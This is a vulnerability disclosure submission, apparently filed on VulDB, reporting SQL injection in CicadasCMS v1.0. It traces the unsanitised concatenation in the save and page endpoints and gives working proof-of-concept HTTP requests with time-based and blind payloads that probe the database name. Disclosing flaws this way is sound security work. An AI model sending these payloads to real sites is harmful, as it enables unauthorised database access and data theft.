Submit #549898: CicadasCMS v1.0 SQL Injection

Vulnerability description

CicadasCMS v1.0 has multiple SQL injection vulnerabilities involving two interfaces:

/system/cms/content/save: SQL error injection vulnerability exists in content, fujian, and laiyuan fields on this interface.

/system/cms/content/page: The orderField and orderDirection parameters of this interface have a time-blind injection vulnerability.

Code audit procedure

1. Error injection of the /system/cms/content/save interface

Code path:

com.zhiliao.module.web.cms.ContentController#save

com.zhiliao.module.web.cms.service.impl.ContentServiceImpl#update

com.zhiliao.module.web.cms.service.impl.ContentServiceImpl#SaveModelFiledParam

Code analysis:

The save method accepts a content object as an argument, containing information such as contentId. The formParam object is used to hold key-value pairs of the form data, representing extended fields and their corresponding values.

If contentId is not empty, contentService.update is called to update the data, otherwise contentService.save is called to save the data.

In the SaveModelFiledParam method, form data is dynamically concatenated into exeSql insert statements without any filtering or precompilation processing, leading to SQL injection vulnerabilities.

2. Time blind annotation of the /system/cms/content/page interface

Code path:

com.zhiliao.module.web.cms.ContentController#page

com.zhiliao.module.web.cms.service.impl.ContentServiceImpl#page

com/zhiliao/mybatis/mapper/TCmsContentMapper.xml#selectByCondition

Code analysis:

The page method accepts the content object as an argument.

In the selectByCondition method, the orderField and orderDirection parameters are concatenated directly into the order by clause without any validation or filtering, resulting in a time-blind injection vulnerability.

POC (Proof of Concept)

1. /system/cms/content/save SQL INECTION POC

POST /system/cms/content/save HTTP/1.1
Host: target-ip
Content-Type: application/x-www-form-urlencoded
Cookie: SESSION=3699896d-45de-469b-ba58-69ae84c27050; bjui_theme=blue

content=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- &fujian=1&laiyuan=1

2. /system/cms/content/page SQL INJECTION POC
POST /system/cms/content/page?categoryId= HTTP/1.1
Host: target-ip
Accept: text/html, */*; q=0.01
Origin: http://127.0.0.1
Accept-Encoding: gzip, deflate, br, zstd
Cookie: SESSION=3699896d-45de-469b-ba58-69ae84c27050; bjui_theme=blue
Priority: u=0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://127.0.0.1/system
Content-Length: 75

pageSize=30&pageCurrent=2&orderField=if(left(database(),1)='c',&orderDirection=sleep(0.05),title)&status=&title=&total=

• Quelle: ⚠️ https://wiki.shikangsi.com/post/share/791c2773-9aa1-459e-9054-73753ac465e9
• Benutzer: XingYue_Mstir (UID 72225)
• Einreichung: 03.04.2025 04:21 (vor 2 Jahren)
• Moderieren: 14.04.2025 01:31 (11 days later)
• Status: Duplikat
• VulDB Eintrag: 300626 [westboy CicadasCMS 1.0 /system/cms/content/save content/fujian/laiyuan SQL Injection]
• Punkte: 0